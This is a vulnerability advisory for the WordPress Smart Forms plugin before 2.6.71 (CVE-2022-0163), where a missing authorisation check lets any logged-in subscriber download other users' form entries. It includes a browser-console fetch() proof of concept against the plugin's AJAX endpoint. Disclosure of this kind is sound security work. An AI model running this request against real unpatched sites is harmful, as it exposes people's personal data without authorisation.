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WordPress Plugin Vulnerabilities

Smart Forms < 2.6.71 - Subscriber+ Form Data Download

Description

The plugin does not have authorisation in its rednao_smart_forms_entries_list AJAX action, allowing any authenticated users, such as subscriber, to download arbitrary form's data, which could include sensitive information such as PII depending on the form.

Proof of Concept

Execute the below command in the web developer console of the browser when being logged in as a subscriber:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"rednao_smart_forms_entries_list","data":'{"Form":"1"}'}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data)); 

Affects Plugins

smart-forms
Fixed in version 2.6.71

References

CVE
CVE-2022-0163

Classification

Type

NO AUTHORISATION

OWASP top 10
A5: Broken Access Control
CWE
CWE-862

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
2b6b0731-4515-498a-82bd-d416f5885268

Timeline

Publicly Published

2022-02-14 (about 11 months ago)

Added

2022-02-14 (about 11 months ago)

Last Updated

2022-04-08 (about 9 months ago)

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